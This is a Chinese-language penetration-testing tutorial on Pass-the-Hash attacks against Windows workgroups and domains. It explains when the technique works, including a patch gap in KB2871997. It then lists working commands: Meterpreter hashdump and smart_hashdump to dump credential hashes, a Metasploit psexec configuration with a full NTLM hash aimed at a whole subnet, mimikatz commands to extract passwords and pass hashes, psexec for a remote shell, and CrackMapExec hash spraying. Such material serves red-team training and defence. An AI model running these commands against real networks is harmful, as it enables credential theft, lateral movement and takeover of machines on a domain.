哈希传递PTH PTH,即Pass The Hash,通过找到与账号相关的密码散列值(通常是NTLM Hash)来进行攻击。 在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。 因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。 kb2871997,禁止了本地管理员进行远程连接,从而组织了管理员权限执行wmi,psexec等危险命令, 但是这个补丁不知道为什么漏了一个默认(user SID=500)本地管理员账户。
利用条件 在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。 Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击, 其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
在域环境中: 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器 如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1
MSF哈希值抓取
hashdump导出密码哈希
hashdump模块可以从SAM数据库中导出本地用户账号,该命令的使用需要系统权限。
meterpreter > run hashdump
run windows/gather/smart_hashdump命令导出希哈值
run windows/gather/smart_hashdump命令的使用需要系统权限。
该功能更强大,如果当前用户是域管理员用户,则可以导出域内所有用户的hash
meterpreter > run windows/gather/smart_hashdump
msf哈希传递
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set lhost 172.16.2.10
lhost => 172.16.2.10
msf6 exploit(windows/smb/psexec) > set rhost 172.16.2.0/24
rhost => 172.16.2.0/24
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:35fe43efd2268ef3fc0ef90771040525
smbpass => aad3b435b51404eeaad3b435b51404ee:35fe43efd2268ef3fc0ef90771040525
msf6 exploit(windows/smb/psexec) > run
mimikatz哈希传递
mimikatz # sekurlsa::logonpasswords 抓取密码
mimikatz # sekurlsa::msv 抓取哈希值
mimikatz # sekurlsa::pth /user:Administrator /domain:172.16.2.100 /ntlm:35fe43efd2268ef3fc0ef90771040525 pth传递
dir \\172.16.2.100\c$ 查看目标共享目录,能查看代表攻击成功
psexec.exe \\172.16.2.100 cmd.exe 利用psexec连接
CrackMapExec批量 哈希传递
项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
crackmapexec 172.16.2.0/24 -u administrator -H 35fe43efd2268ef3fc0ef90771040525
|